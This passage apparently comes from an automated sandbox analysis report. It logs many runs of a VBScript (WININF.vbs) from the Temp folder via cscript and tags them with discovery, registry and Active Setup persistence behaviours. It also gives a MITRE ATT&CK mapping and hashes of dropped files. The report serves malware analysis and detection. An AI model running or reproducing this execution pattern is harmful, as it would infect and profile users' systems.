  2⤵
  PID:2116
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4236
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1200
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1724
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2876
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:5252
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:6092
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2148
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4660
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4876
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4984
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5632
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2356
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:5700
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5464
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:6128
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1172
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5932
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5480
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:2020
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1300
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:4116
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4772
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4288
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4800
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2456
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:5088
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3000
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3304
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1592
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:5636
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:5040
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4000
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2436
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:4208
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:616
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2348
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1236
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4968
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:4452
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5004
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2128
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:2336
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:108
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5712
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:428
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3168
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5136
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5308
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2344
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4828
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:4876
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4324
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5380
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:564
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:4220
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6036
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3100
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3304
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1008
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:3928
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3168
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1888
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3640
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:3300
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:2564
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6132
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3124
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:6016
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3944
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3528
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2116
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4228
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5040
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4004
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4280
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:3304
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:404
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1996
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4780
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:4756
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1120
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:5096
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2276
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4364
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:3180
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3080
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:5180
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5600
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:2104
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3820
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:5432
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:3720
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2816
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1008
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6128
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2932
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5532
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1484
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4928
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:6132
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:1892
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5316
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4032
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:3784
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:4516
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4288
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2776
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:3344
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:5748
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:1656
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:6136
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4328
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2368
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:2388
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:1248
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4188
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2952
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2004
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4764
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:5632
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:6044
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3016
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1808
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:2176
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5684
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:468
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5372
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3184
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:1528
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:1720
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4424
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:3968
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5196

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4092

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
- Suspicious use of FindShellTrayWindow
PID:4664
- C:\Windows\explorer.exe
  explorer.exe /LOADSAVEDWINDOWS
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Enumerates connected drives
  - Checks SCSI registry key(s)
  - Modifies Internet Explorer settings
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:204

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1936

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3956

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:3488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2507a20f-586c-4dfc-bfae-0618851a30c9.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\2507a20f-586c-4dfc-bfae-0618851a30c9.tmp
Size 4KB
SHA256 b494ee1d8d475802235caf40240cd4ff37ada2fa9df50a60c2a8101a24472eac
MD5 330933ea3de7785471821aef153a1a93
SHA1 2fcf9bab600d46c4a8f7c64124c57cbc4f911fb1
SHA512 803638ca38be674c6f4b273bf51bf302a7d0447f2d4a33ccf2492937c92ebee9bf54b5a39ab51396dfbc4ffe1c024dc494e540094abf43607f77bfaaf2b89a59
SSDEEP 96:fC0d+7N0X7jVYVfGTVnsERDotok512hD1YB6FGyvoD3EmwEw+Tbv4v4a:fC0ESKkdDUDsaBp4mwd+Tbvi
TLSH
T172A1F931E8699CBB59FAE844B4532A43CEB4707BD962AE94E9DD0F0C18E70EC1341567
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4d808e63-774e-477c-be5d-73e1e4949ada.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\4d808e63-774e-477c-be5d-73e1e4949ada.tmp
Size 138KB
SHA256 998bfd91c71ebedada2c23850756c9be227d6c715f4a88ca1c1980bca8cbf592
MD5 7e98597dcfe84f3e4d0b919b0f37fa87
SHA1 1cfe88534c9da79cf21d5c25a29e03943f78e6c1
SHA512 ed2780eba95749bfe30de5a9df41d79c054f68879ae683b23f13e2fae8ab98485ed78b11ae9e1051a99b1e70261d9823c52e99f3283672102a59514617b86157
SSDEEP 3072:+vY2KwIK+h3Kl83X3d8yhp8p9AdJQiyqjQDrj1xuuq+fobLcvf2d:qlKwIKw3Kl8niyhpMWdJKAQ71xlq+fWl
TLSH
T16ED312F2B9F7CE714E7A714A68523171D8B2E8CC54486812D9EE53CB46DB2E513C2C2D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9839bdcf-6805-4620-b6ba-aea41f59afe0.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\9839bdcf-6805-4620-b6ba-aea41f59afe0.tmp
Size 139KB
